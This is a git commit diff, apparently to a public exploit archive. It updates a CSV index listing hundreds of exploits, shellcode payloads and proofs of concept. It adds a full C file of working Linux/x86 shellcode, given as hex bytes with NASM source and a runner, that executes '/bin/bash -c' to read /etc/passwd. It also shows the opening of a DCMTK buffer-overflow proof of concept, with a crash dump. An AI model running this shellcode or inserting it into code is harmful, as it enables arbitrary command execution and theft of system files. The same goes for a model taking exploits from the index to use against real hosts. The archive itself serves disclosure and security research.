DB: 2016-12-18
13 new exploits Microsoft Internet Explorer 9 MSHTML - CMarkup::ReloadInCompatView Use-After-Free Microsoft Internet Explorer 9 IEFRAME - CMarkup::RemovePointerPos Use-After-Free (MS13-055) Orthanc DICOM Server 1.1.0 - Memory Corruption Microsoft Internet Explorer 9 - MSHTML CMarkup::ReloadInCompatView Use-After-Free Microsoft Internet Explorer 9 - IEFRAME CMarkup::RemovePointerPos Use-After-Free (MS13-055) OsiriX DICOM Viewer 8.0.1 - Memory Corruption ConQuest DICOM Server 1.4.17d - Stack Buffer Overflow DCMTK 3.6.0 storescp - Stack Buffer Overflow Horos 2.1.0 DICOM Medical Image Viewer - Denial of Service Microsoft Internet Explorer 9 IEFRAME - CMarkupPointer::MoveToGap Use-After-Free Microsoft Internet Explorer 9 IEFRAME - CView::EnsureSize Use-After-Free (MS13-021) Nagios < 4.2.4 - Privilege Escalation iOS 10.1.1 / macOS 10.12 16A323 XNU Kernel - set_dp_control_port Lack of Locking Use-After-Free Alienvault OSSIM - SQL Injection / Remote Code Execution (Metasploit) Alienvault Open Source SIEM (OSSIM) - SQL Injection / Remote Code Execution (Metasploit) Alienvault OSSIM < 4.7.0 - av-centerd 'get_log_line()' Remote Code Execution Alienvault Open Source SIEM (OSSIM) < 4.7.0 - av-centerd 'get_log_line()' Remote Code Execution Alienvault OSSIM - av-centerd Command Injection (Metasploit) Alienvault Open Source SIEM (OSSIM) - av-centerd Command Injection (Metasploit) Horos 2.1.0 Web Portal - Directory Traversal Linux/x86 - /bin/bash -c Arbitrary Command Execution Shellcode (72 bytes) Alienvault OSSIM Open Source SIEM 3.1 - Multiple Security Vulnerabilities Alienvault Open Source SIEM (OSSIM) 3.1 - Multiple Security Vulnerabilities Alienvault OSSIM Open Source SIEM 3.1 - Reflected Cross-Site Scripting / Blind SQL Injection Alienvault Open Source SIEM (OSSIM) 3.1 - Reflected Cross-Site Scripting / Blind SQL Injection Alienvault OSSIM 4.1.2 - Multiple SQL Injections Alienvault Open Source SIEM (OSSIM) 4.1.2 - Multiple SQL Injections Alienvault OSSIM Open Source SIEM 4.1 - Multiple SQL Vulnerabilities Alienvault Open Source SIEM (OSSIM) 4.1 - Multiple SQL Vulnerabilities Alienvault 4.3.1 - Unauthenticated SQL Injection Alienvault 4.3.1 - Unauthenticated SQL Injection / Cross-Site Scripting Alienvault OSSIM 4.6.1 - Authenticated SQL Injection (Metasploit) Alienvault Open Source SIEM (OSSIM) 4.6.1 - Authenticated SQL Injection (Metasploit) Alienvault OSSIM 4.3 - Cross-Site Request Forgery Alienvault Open Source SIEM (OSSIM) 4.3 - Cross-Site Request Forgery WHMCS Addon VMPanel 2.7.4 - SQL Injection WordPress Plugin Quiz And Survey Master 4.5.4 / 4.7.8 - Cross-Site Request Forgery
This commit is contained in:
parent
89c8b47b83
commit
18d8085c6d
16 changed files with 1910 additions and 952 deletions
38
files.csv
38
files.csv
|
@ -5309,8 +5309,15 @@ id,file,description,date,author,platform,type,port
|
|||
40910,platforms/hardware/dos/40910.txt,"TP-LINK TD-W8151N - Denial of Service",2016-12-13,"Persian Hack Team",hardware,dos,0
|
||||
40914,platforms/android/dos/40914.java,"Samsung Devices KNOX Extensions - OTP TrustZone Trustlet Stack Buffer Overflow",2016-12-13,"Google Security Research",android,dos,0
|
||||
40915,platforms/windows/dos/40915.txt,"Adobe Animate 15.2.1.95 - Memory Corruption",2016-12-14,hyp3rlinx,windows,dos,0
|
||||
40922,platforms/windows/dos/40922.html,"Microsoft Internet Explorer 9 MSHTML - CMarkup::ReloadInCompatView Use-After-Free",2016-12-15,Skylined,windows,dos,0
|
||||
40923,platforms/windows/dos/40923.html,"Microsoft Internet Explorer 9 IEFRAME - CMarkup::RemovePointerPos Use-After-Free (MS13-055)",2016-12-15,Skylined,windows,dos,0
|
||||
40925,platforms/windows/dos/40925.py,"Orthanc DICOM Server 1.1.0 - Memory Corruption",2016-12-16,LiquidWorm,windows,dos,0
|
||||
40922,platforms/windows/dos/40922.html,"Microsoft Internet Explorer 9 - MSHTML CMarkup::ReloadInCompatView Use-After-Free",2016-12-15,Skylined,windows,dos,0
|
||||
40923,platforms/windows/dos/40923.html,"Microsoft Internet Explorer 9 - IEFRAME CMarkup::RemovePointerPos Use-After-Free (MS13-055)",2016-12-15,Skylined,windows,dos,0
|
||||
40926,platforms/windows/dos/40926.py,"OsiriX DICOM Viewer 8.0.1 - Memory Corruption",2016-12-16,LiquidWorm,windows,dos,0
|
||||
40927,platforms/windows/dos/40927.py,"ConQuest DICOM Server 1.4.17d - Stack Buffer Overflow",2016-12-16,LiquidWorm,windows,dos,0
|
||||
40928,platforms/linux/dos/40928.py,"DCMTK 3.6.0 storescp - Stack Buffer Overflow",2016-12-16,LiquidWorm,linux,dos,0
|
||||
40929,platforms/osx/dos/40929.py,"Horos 2.1.0 DICOM Medical Image Viewer - Denial of Service",2016-12-16,LiquidWorm,osx,dos,0
|
||||
40933,platforms/windows/dos/40933.svg,"Microsoft Internet Explorer 9 IEFRAME - CMarkupPointer::MoveToGap Use-After-Free",2016-12-16,Skylined,windows,dos,0
|
||||
40935,platforms/windows/dos/40935.html,"Microsoft Internet Explorer 9 IEFRAME - CView::EnsureSize Use-After-Free (MS13-021)",2016-12-16,Skylined,windows,dos,0
|
||||
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
||||
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
||||
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
||||
|
@ -8705,7 +8712,8 @@ id,file,description,date,author,platform,type,port
|
|||
40873,platforms/windows/local/40873.txt,"Microsoft PowerShell - XML External Entity Injection",2016-12-06,hyp3rlinx,windows,local,0
|
||||
40902,platforms/windows/local/40902.txt,"EasyPHP Devserver 16.1.1 - Insecure File Permissions Privilege Escalation",2016-12-11,"Ashiyane Digital Security Team",windows,local,0
|
||||
40903,platforms/windows/local/40903.py,"10-Strike Network File Search Pro 2.3 - SEH Local Buffer Overflow",2016-12-10,malwrforensics,windows,local,0
|
||||
40921,platforms/linux/local/40921.py,"Nagios < 4.2.4 - Privilege Escalation",2016-12-15,"Dawid Golunski",linux,local,0
|
||||
40921,platforms/linux/local/40921.sh,"Nagios < 4.2.4 - Privilege Escalation",2016-12-15,"Dawid Golunski",linux,local,0
|
||||
40931,platforms/multiple/local/40931.txt,"iOS 10.1.1 / macOS 10.12 16A323 XNU Kernel - set_dp_control_port Lack of Locking Use-After-Free",2016-12-16,"Google Security Research",multiple,local,0
|
||||
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
|
||||
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
|
||||
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
|
||||
|
@ -13779,7 +13787,7 @@ id,file,description,date,author,platform,type,port
|
|||
32399,platforms/unix/remote/32399.txt,"Multiple Vendor FTP Server - Long Command Handling Security",2008-09-20,"Maksymilian Arciemowicz",unix,remote,0
|
||||
32393,platforms/solaris/remote/32393.txt,"Sun Solaris 9/10 Text Editors - Command Execution",2008-09-17,"Eli the Bearded",solaris,remote,0
|
||||
32391,platforms/hardware/remote/32391.html,"Cisco 871 Integrated Services Router - Cross-Site Request Forgery (2)",2008-09-17,"Jeremy Brown",hardware,remote,0
|
||||
33141,platforms/php/remote/33141.rb,"Alienvault OSSIM - SQL Injection / Remote Code Execution (Metasploit)",2014-05-02,Metasploit,php,remote,443
|
||||
33141,platforms/php/remote/33141.rb,"Alienvault Open Source SIEM (OSSIM) - SQL Injection / Remote Code Execution (Metasploit)",2014-05-02,Metasploit,php,remote,443
|
||||
32390,platforms/hardware/remote/32390.html,"Cisco 871 Integrated Services Router - Cross-Site Request Forgery (1)",2008-09-17,"Jeremy Brown",hardware,remote,0
|
||||
32277,platforms/linux/remote/32277.txt,"Nginx 1.4.0 (x64) - (Generic Linux) Remote Exploit",2014-03-15,sorbo,linux,remote,0
|
||||
30582,platforms/windows/remote/30582.html,"WinSCP 4.0.3 - URL Protocol Handler Arbitrary File Access",2007-09-13,Kender.Security,windows,remote,0
|
||||
|
@ -14275,7 +14283,7 @@ id,file,description,date,author,platform,type,port
|
|||
33790,platforms/windows/remote/33790.rb,"Easy File Management Web Server - Stack Buffer Overflow (Metasploit)",2014-06-17,Metasploit,windows,remote,80
|
||||
33798,platforms/linux/remote/33798.html,"Mozilla Firefox 3.6 - Image Preloading Content-Policy Check Security Bypass",2010-03-18,"Josh Soref",linux,remote,0
|
||||
33802,platforms/multiple/remote/33802.txt,"Jenkins Software RakNet 3.72 - Remote Integer Underflow",2010-03-25,"Luigi Auriemma",multiple,remote,0
|
||||
33805,platforms/linux/remote/33805.pl,"Alienvault OSSIM < 4.7.0 - av-centerd 'get_log_line()' Remote Code Execution",2014-06-18,"Alfredo Ramirez",linux,remote,0
|
||||
33805,platforms/linux/remote/33805.pl,"Alienvault Open Source SIEM (OSSIM) < 4.7.0 - av-centerd 'get_log_line()' Remote Code Execution",2014-06-18,"Alfredo Ramirez",linux,remote,0
|
||||
33807,platforms/multiple/remote/33807.rb,"Rocket Servergraph Admin Center - fileRequestor Remote Code Execution (Metasploit)",2014-06-18,Metasploit,multiple,remote,8888
|
||||
33810,platforms/osx/remote/33810.html,"Apple Safari for iPhone/iPod touch - Malformed 'Throw' Exception Remote Code Execution",2010-03-26,"Nishant Das Patnaik",osx,remote,0
|
||||
33811,platforms/osx/remote/33811.html,"Apple Safari iPhone/iPod touch - Malformed Webpage Remote Code Execution",2010-03-26,"Nishant Das Patnaik",osx,remote,0
|
||||
|
@ -14294,7 +14302,7 @@ id,file,description,date,author,platform,type,port
|
|||
34143,platforms/windows/remote/34143.txt,"XnView 1.97.4 - '.MBM' File Remote Heap Buffer Overflow",2010-06-14,"Mauro Olea",windows,remote,0
|
||||
33862,platforms/hardware/remote/33862.rb,"D-Link - Authentication.cgi Buffer Overflow (Metasploit)",2014-06-24,Metasploit,hardware,remote,80
|
||||
33863,platforms/hardware/remote/33863.rb,"D-Link - hedwig.cgi Buffer Overflow in Cookie Header (Metasploit)",2014-06-24,Metasploit,hardware,remote,80
|
||||
33865,platforms/linux/remote/33865.rb,"Alienvault OSSIM - av-centerd Command Injection (Metasploit)",2014-06-24,Metasploit,linux,remote,40007
|
||||
33865,platforms/linux/remote/33865.rb,"Alienvault Open Source SIEM (OSSIM) - av-centerd Command Injection (Metasploit)",2014-06-24,Metasploit,linux,remote,40007
|
||||
33869,platforms/hardware/remote/33869.txt,"Huawei EchoLife HG520 3.10.18.5-1.0.5.0 - Remote Information Disclosure",2010-04-22,hkm,hardware,remote,0
|
||||
33871,platforms/multiple/remote/33871.txt,"Tiny Java Web Server 1.71 - Multiple Input Validation Vulnerabilities",2010-04-08,cp77fk4r,multiple,remote,0
|
||||
33873,platforms/multiple/remote/33873.txt,"HP System Management Homepage - 'RedirectUrl' Parameter URI redirection",2010-04-25,"Aung Khant",multiple,remote,0
|
||||
|
@ -15163,6 +15171,7 @@ id,file,description,date,author,platform,type,port
|
|||
40911,platforms/linux/remote/40911.py,"McAfee Virus Scan Enterprise for Linux - Remote Code Execution",2016-12-13,"Andrew Fasano",linux,remote,0
|
||||
40916,platforms/linux/remote/40916.txt,"APT - Repository Signing Bypass via Memory Allocation Failure",2016-12-14,"Google Security Research",linux,remote,0
|
||||
40920,platforms/linux/remote/40920.py,"Nagios < 4.2.2 - Arbitrary Code Execution",2016-12-15,"Dawid Golunski",linux,remote,0
|
||||
40930,platforms/osx/remote/40930.txt,"Horos 2.1.0 Web Portal - Directory Traversal",2016-12-16,LiquidWorm,osx,remote,0
|
||||
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
||||
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
||||
13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
||||
|
@ -15766,6 +15775,7 @@ id,file,description,date,author,platform,type,port
|
|||
40808,platforms/lin_x86-64/shellcode/40808.c,"Linux/x86-64 - /bin/sh -c reboot Shellcode (89 bytes)",2016-11-22,"Ashiyane Digital Security Team",lin_x86-64,shellcode,0
|
||||
40821,platforms/win_x86-64/shellcode/40821.c,"Windows x64 - Download & Execute Shellcode (358 bytes)",2016-11-23,"Roziul Hasan Khan Shifat",win_x86-64,shellcode,0
|
||||
40872,platforms/lin_x86/shellcode/40872.c,"Linux/x86 - Netcat (-e option disabled) Reverse Shell Shellcode (180 bytes)",2016-12-05,"Filippo Bersani",lin_x86,shellcode,0
|
||||
40924,platforms/lin_x86/shellcode/40924.c,"Linux/x86 - /bin/bash -c Arbitrary Command Execution Shellcode (72 bytes)",2016-12-16,"Filippo Bersani",lin_x86,shellcode,0
|
||||
6,platforms/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,php,webapps,0
|
||||
44,platforms/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",php,webapps,0
|
||||
47,platforms/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,php,webapps,0
|
||||
|
@ -25322,7 +25332,7 @@ id,file,description,date,author,platform,type,port
|
|||
18798,platforms/php/webapps/18798.txt,"Soco CMS - Local File Inclusion",2012-04-29,"BHG Security Center",php,webapps,0
|
||||
18791,platforms/php/webapps/18791.txt,"WordPress 3.3.1 - Multiple Cross-Site Request Forgery Vulnerabilities",2012-04-27,"Ivano Binetti",php,webapps,0
|
||||
18793,platforms/php/webapps/18793.txt,"Axous 1.1.0 - SQL Injection",2012-04-27,"H4ckCity Secuirty TeaM",php,webapps,0
|
||||
18800,platforms/php/webapps/18800.txt,"Alienvault OSSIM Open Source SIEM 3.1 - Multiple Security Vulnerabilities",2012-04-29,"Stefan Schurtz",php,webapps,0
|
||||
18800,platforms/php/webapps/18800.txt,"Alienvault Open Source SIEM (OSSIM) 3.1 - Multiple Security Vulnerabilities",2012-04-29,"Stefan Schurtz",php,webapps,0
|
||||
18801,platforms/php/webapps/18801.txt,"Car Portal CMS 3.0 - Multiple Vulnerabilities",2012-04-30,Vulnerability-Lab,php,webapps,0
|
||||
18802,platforms/asp/webapps/18802.txt,"C4B XPhone UC Web 4.1.890S R1 - Cross-Site Scripting",2012-04-30,Vulnerability-Lab,asp,webapps,0
|
||||
18803,platforms/php/webapps/18803.txt,"Opial CMS 2.0 - Multiple Vulnerabilities",2012-04-30,Vulnerability-Lab,php,webapps,0
|
||||
|
@ -25513,7 +25523,7 @@ id,file,description,date,author,platform,type,port
|
|||
20038,platforms/linux/webapps/20038.py,"Symantec Web Gateway 5.0.2 - (blocked.php id Parameter) Blind SQL Injection",2012-07-23,muts,linux,webapps,0
|
||||
20044,platforms/php/webapps/20044.txt,"Symantec Web Gateway 5.0.3.18 - Blind SQL Injection Backdoor via MySQL Triggers",2012-07-23,muts,php,webapps,0
|
||||
20055,platforms/php/webapps/20055.txt,"MySQL Squid Access Report 2.1.4 - HTML Injection",2012-07-23,"Daniel Godoy",php,webapps,0
|
||||
20062,platforms/php/webapps/20062.py,"Alienvault OSSIM Open Source SIEM 3.1 - Reflected Cross-Site Scripting / Blind SQL Injection",2012-07-23,muts,php,webapps,0
|
||||
20062,platforms/php/webapps/20062.py,"Alienvault Open Source SIEM (OSSIM) 3.1 - Reflected Cross-Site Scripting / Blind SQL Injection",2012-07-23,muts,php,webapps,0
|
||||
20063,platforms/windows/webapps/20063.txt,"SpiceWorks 5.3.75941 - Persistent Cross-Site Scripting / Authenticated SQL Injection",2012-07-23,dookie,windows,webapps,0
|
||||
20083,platforms/php/webapps/20083.txt,"WordPress Plugin Front End Upload 0.5.4.4 - Arbitrary .PHP File Upload",2012-07-24,"Chris Kellum",php,webapps,0
|
||||
20087,platforms/php/webapps/20087.py,"Zabbix 2.0.1 - Session Extractor",2012-07-24,muts,php,webapps,0
|
||||
|
@ -27460,7 +27470,7 @@ id,file,description,date,author,platform,type,port
|
|||
25440,platforms/php/webapps/25440.txt,"WordPress Plugin wp-FileManager - Arbitrary File Download",2013-05-14,ByEge,php,webapps,0
|
||||
25441,platforms/php/webapps/25441.txt,"IPB (Invision Power Board) 1.x? / 2.x / 3.x - Admin Account Takeover",2013-05-14,"John JEAN",php,webapps,0
|
||||
25442,platforms/php/webapps/25442.txt,"WHMCS 4.x - (invoicefunctions.php id Parameter) SQL Injection",2013-05-14,"Ahmed Aboul-Ela",php,webapps,0
|
||||
25447,platforms/php/webapps/25447.txt,"Alienvault OSSIM 4.1.2 - Multiple SQL Injections",2013-05-14,RunRunLevel,php,webapps,0
|
||||
25447,platforms/php/webapps/25447.txt,"Alienvault Open Source SIEM (OSSIM) 4.1.2 - Multiple SQL Injections",2013-05-14,RunRunLevel,php,webapps,0
|
||||
25449,platforms/php/webapps/25449.txt,"UMI CMS 2.9 - Cross-Site Request Forgery",2013-05-14,"High-Tech Bridge SA",php,webapps,0
|
||||
25451,platforms/php/webapps/25451.txt,"phpBB 1.x/2.0.x - Knowledge Base Module KB.php SQL Injection",2005-04-13,deluxe@security-project.org,php,webapps,0
|
||||
25455,platforms/asp/webapps/25455.txt,"OneWorldStore - DisplayResults.asp SQL Injection",2005-04-19,Lostmon,asp,webapps,0
|
||||
|
@ -28185,7 +28195,7 @@ id,file,description,date,author,platform,type,port
|
|||
26400,platforms/php/webapps/26400.txt,"Flyspray 0.9 - Multiple Cross-Site Scripting Vulnerabilities",2005-10-26,Lostmon,php,webapps,0
|
||||
26401,platforms/hardware/webapps/26401.txt,"TRENDnet TE100-P1U Print Server Firmware 4.11 - Authentication Bypass",2013-06-24,Chako,hardware,webapps,0
|
||||
26405,platforms/php/webapps/26405.txt,"Top Games Script 1.2 - (play.php gid Parameter) SQL Injection",2013-06-24,AtT4CKxT3rR0r1ST,php,webapps,0
|
||||
26406,platforms/php/webapps/26406.txt,"Alienvault OSSIM Open Source SIEM 4.1 - Multiple SQL Vulnerabilities",2013-06-24,"Glafkos Charalambous",php,webapps,0
|
||||
26406,platforms/php/webapps/26406.txt,"Alienvault Open Source SIEM (OSSIM) 4.1 - Multiple SQL Vulnerabilities",2013-06-24,"Glafkos Charalambous",php,webapps,0
|
||||
27541,platforms/php/webapps/27541.txt,"DbbS 2.0 - Topics.php SQL Injection",2006-03-31,DaBDouB-MoSiKaR,php,webapps,0
|
||||
27542,platforms/php/webapps/27542.txt,"SoftBiz Image Gallery - mage_desc.php Multiple Parameter SQL Injection",2006-03-31,Linux_Drox,php,webapps,0
|
||||
27543,platforms/php/webapps/27543.txt,"SoftBiz Image Gallery - template.php provided Parameter SQL Injection",2006-03-31,Linux_Drox,php,webapps,0
|
||||
|
@ -32652,7 +32662,7 @@ id,file,description,date,author,platform,type,port
|
|||
33003,platforms/php/webapps/33003.txt,"WordPress Plugin Work-The-Flow 1.2.1 - Arbitrary File Upload",2014-04-24,nopesled,php,webapps,80
|
||||
33004,platforms/php/webapps/33004.txt,"dompdf 0.6.0 - (dompdf.php read Parameter) Arbitrary File Read",2014-04-24,Portcullis,php,webapps,80
|
||||
33005,platforms/php/webapps/33005.txt,"WD Arkeia Virtual Appliance 10.2.9 - Local File Inclusion",2014-04-24,"SEC Consult",php,webapps,80
|
||||
33006,platforms/php/webapps/33006.txt,"Alienvault 4.3.1 - Unauthenticated SQL Injection",2014-04-24,"Sasha Zivojinovic",php,webapps,443
|
||||
33006,platforms/php/webapps/33006.txt,"Alienvault 4.3.1 - Unauthenticated SQL Injection / Cross-Site Scripting",2014-04-24,"Sasha Zivojinovic",php,webapps,443
|
||||
33008,platforms/php/webapps/33008.txt,"LxBlog - Multiple Cross-Site Scripting / SQL Injection",2009-05-22,Securitylab.ir,php,webapps,0
|
||||
33009,platforms/asp/webapps/33009.txt,"DotNetNuke 4.9.3 - 'ErrorPage.aspx' Cross-Site Scripting",2009-05-22,"ben hawkes",asp,webapps,0
|
||||
33011,platforms/php/webapps/33011.txt,"PHP-Nuke 8.0 - 'main/tracking/userLog.php' SQL Injection",2009-05-27,"Gerendi Sandor Attila",php,webapps,0
|
||||
|
@ -32785,7 +32795,7 @@ id,file,description,date,author,platform,type,port
|
|||
33281,platforms/php/webapps/33281.txt,"Achievo 1.x - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities",2009-10-13,"Ryan Dewhurst",php,webapps,0
|
||||
33282,platforms/php/webapps/33282.txt,"Dream Poll 3.1 - 'index.php' Cross-Site Scripting / SQL Injection",2009-10-13,infosecstuff,php,webapps,0
|
||||
33284,platforms/multiple/webapps/33284.txt,"Pentaho BI 1.x - Multiple Cross-Site Scripting / Information Disclosure Vulnerabilities",2009-10-14,euronymous,multiple,webapps,0
|
||||
33317,platforms/php/webapps/33317.txt,"Alienvault OSSIM 4.6.1 - Authenticated SQL Injection (Metasploit)",2014-05-12,"Chris Hebert",php,webapps,443
|
||||
33317,platforms/php/webapps/33317.txt,"Alienvault Open Source SIEM (OSSIM) 4.6.1 - Authenticated SQL Injection (Metasploit)",2014-05-12,"Chris Hebert",php,webapps,443
|
||||
33286,platforms/java/webapps/33286.txt,"Eclipse BIRT 2.2.1 - 'run?__report' Parameter Cross-Site Scripting",2009-10-14,"Michele Orru",java,webapps,0
|
||||
33287,platforms/php/webapps/33287.txt,"BloofoxCMS 0.3.5 - 'search' Parameter Cross-Site Scripting",2009-10-15,"drunken danish rednecks",php,webapps,0
|
||||
33288,platforms/php/webapps/33288.txt,"Zainu 1.0 - 'searchSongKeyword' Parameter Cross-Site Scripting",2009-10-14,"drunken danish rednecks",php,webapps,0
|
||||
|
@ -35872,7 +35882,7 @@ id,file,description,date,author,platform,type,port
|
|||
38393,platforms/php/webapps/38393.html,"WordPress Plugin Occasions - Cross-Site Request Forgery",2013-03-19,m3tamantra,php,webapps,0
|
||||
38395,platforms/jsp/webapps/38395.txt,"ManageEngine ServiceDesk Plus 9.1 build 9110 - Directory Traversal",2015-10-05,xistence,jsp,webapps,8080
|
||||
38537,platforms/php/webapps/38537.txt,"WordPress Plugin ADIF Log Search Widget - 'logbook_search.php' Cross-Site Scripting",2013-05-27,k3170makan,php,webapps,0
|
||||
38400,platforms/php/webapps/38400.txt,"Alienvault OSSIM 4.3 - Cross-Site Request Forgery",2015-10-05,"MohamadReza Mohajerani",php,webapps,0
|
||||
38400,platforms/php/webapps/38400.txt,"Alienvault Open Source SIEM (OSSIM) 4.3 - Cross-Site Request Forgery",2015-10-05,"MohamadReza Mohajerani",php,webapps,0
|
||||
38406,platforms/php/webapps/38406.txt,"PHP-Fusion v7.02.07 - Blind SQL Injection",2015-10-06,"Manuel García Cárdenas",php,webapps,0
|
||||
38407,platforms/php/webapps/38407.txt,"GLPI 0.85.5 - Arbitrary File Upload / Filter Bypass / Remote Code Execution",2015-10-06,"Raffaele Forte",php,webapps,0
|
||||
38408,platforms/php/webapps/38408.txt,"Jaow CMS - 'add_ons' Parameter Cross-Site Scripting",2013-03-23,Metropolis,php,webapps,0
|
||||
|
@ -36880,3 +36890,5 @@ id,file,description,date,author,platform,type,port
|
|||
40904,platforms/php/webapps/40904.txt,"Smart Guard Network Manager 6.3.2 - SQL Injection",2016-12-03,"Rahul Raz",php,webapps,0
|
||||
40908,platforms/php/webapps/40908.html,"WordPress Plugin Multisite Post Duplicator 0.9.5.1 - Cross-Site Request Forgery",2016-12-12,dxw,php,webapps,80
|
||||
40912,platforms/php/webapps/40912.txt,"Joomla! Component DT Register - 'cat' Parameter SQL Injection",2016-12-13,"Elar Lang",php,webapps,80
|
||||
40932,platforms/php/webapps/40932.txt,"WHMCS Addon VMPanel 2.7.4 - SQL Injection",2016-12-16,ZwX,php,webapps,80
|
||||
40934,platforms/php/webapps/40934.html,"WordPress Plugin Quiz And Survey Master 4.5.4 / 4.7.8 - Cross-Site Request Forgery",2016-12-16,dxw,php,webapps,80
|
||||
|
|
Can't render this file because it is too large.
|
70
platforms/lin_x86/shellcode/40924.c
Executable file
70
platforms/lin_x86/shellcode/40924.c
Executable file
|
@ -0,0 +1,70 @@
|
|||
/*
|
||||
;author: Filippo "zinzloun" Bersani
|
||||
;date: 16/12/2016
|
||||
;version: 1.0
|
||||
;X86 Assembly/NASM Syntax
|
||||
;tested on: Linux OpenSuse001 2.6.34-12-desktop 32bit
|
||||
; Linux ubuntu 3.13.0-100-generic #147~precise1-Ubuntu 32bit
|
||||
; Linux bb32 4.4.0-45-generic 32bit
|
||||
;72 bytes
|
||||
;description:
|
||||
executes arbitrary command through /bin/bash -c "command"
|
||||
a slightly different and null free version of the metasploit payload:
|
||||
https://www.rapid7.com/db/modules/payload/linux/x86/exec
|
||||
that is not null free. Crashed on 2 vm of my lab enviroment: OpenSuse001 and bb32
|
||||
so I coded this version, anyway thx 2 vlad902 for the great idea
|
||||
|
||||
;see comment for details
|
||||
|
||||
global _start
|
||||
|
||||
section .text
|
||||
_start:
|
||||
|
||||
xor eax,eax ;zeroing registers
|
||||
xor edx,edx
|
||||
mov al,0xb ;int execve(const char *filename, char *const argv[],
|
||||
; char *const envp[]);
|
||||
|
||||
push edx ;null
|
||||
push word 0x632d ;-c
|
||||
mov edi,esp ;save in edi the -c value
|
||||
|
||||
push edx ;null
|
||||
push 0x68736162 ;////bin/bash
|
||||
push 0x2f6e6962
|
||||
push 0x2f2f2f2f
|
||||
|
||||
mov ebx,esp ;set first arg in ebx=*filename
|
||||
push edx ;null
|
||||
|
||||
jmp short push_cmd ;jump to collect the command
|
||||
|
||||
set_argv:
|
||||
push edi ;push -c value
|
||||
push ebx ;push ////bin/bash
|
||||
mov ecx,esp ;*argv = ////bin/bash, -c, cmd, null
|
||||
int 0x80
|
||||
|
||||
push_cmd:
|
||||
call set_argv
|
||||
cmd: db "cat /etc/passwd;echo do__ne"
|
||||
*/
|
||||
|
||||
#include<stdio.h>
|
||||
#include<string.h>
|
||||
|
||||
unsigned char code[] = \
|
||||
"\x31\xc0\x31\xd2\xb0\x0b\x52\x66\x68\x2d\x63\x89\xe7\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89"
|
||||
"\xe3\x52\xeb\x06\x57\x53\x89\xe1\xcd\x80\xe8\xf5\xff\xff\xff\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x3b"
|
||||
"\x65\x63\x68\x6f\x20\x64\x6f\x5f\x5f\x6e\x65";
|
||||
main()
|
||||
{
|
||||
|
||||
printf("Shellcode Length: %d\n", strlen(code));
|
||||
|
||||
int (*ret)() = (int(*)())code;
|
||||
|
||||
ret();
|
||||
|
||||
}
|
162
platforms/linux/dos/40928.py
Executable file
162
platforms/linux/dos/40928.py
Executable file
|
@ -0,0 +1,162 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf8 -*-
|
||||
#
|
||||
#
|
||||
# DCMTK storescp DICOM storage (C-STORE) SCP Remote Stack Buffer Overflow
|
||||
#
|
||||
#
|
||||
# Vendor: OFFIS e. V.
|
||||
# Product web page: http://www.dcmtk.org
|
||||
# Affected version: <= 3.6.0
|
||||
# Not affected: DCMTK-3.6.1_20160216 - https://github.com/commontk/DCMTK/commit/1b6bb76
|
||||
#
|
||||
# http://www.idoimaging.com/programs?order=program.rdate&
|
||||
#
|
||||
# Summary: DCMTK is a collection of libraries and applications implementing large
|
||||
# parts the DICOM standard. It includes software for examining, constructing and
|
||||
# converting DICOM image files, handling offline media, sending and receiving images
|
||||
# over a network connection, as well as demonstrative image storage and worklist
|
||||
# servers. DCMTK is is written in a mixture of ANSI C and C++. It comes in complete
|
||||
# source code and is made available as "open source" software.
|
||||
#
|
||||
# Desc: "At several places in the code a wrong length of ACSE data structures received
|
||||
# over the network can cause overflows or underflows when processing those
|
||||
# data structures. Related checks have been added at various places in order
|
||||
# to prevent such (possible) attacks. Thanks to Kevin Basista for the report."
|
||||
#
|
||||
# The bug will indeed affect all DCMTK-based server applications that accept incoming
|
||||
# DICOM network connections that are using the dcmtk-3.6.0 and earlier versions.
|
||||
# Developers are advised to apply the patched-DCMTK-3.6.1_20160216 fix commit from
|
||||
# Dec 14, 2015.
|
||||
#
|
||||
# ---------------------------------------------------------------------------------
|
||||
#
|
||||
# Process 27765 stopped
|
||||
# * thread #1: tid = 0x3e4b46, 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x10380001b)
|
||||
# frame #0: 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325
|
||||
# storescp`parsePresentationContext:
|
||||
# -> 0x1000a6f1d <+3325>: movb (%rax), %al
|
||||
# 0x1000a6f1f <+3327>: movzbl %al, %eax
|
||||
# 0x1000a6f22 <+3330>: cmpl $0x40, %eax
|
||||
# 0x1000a6f25 <+3333>: movl %eax, -0xa74(%rbp)
|
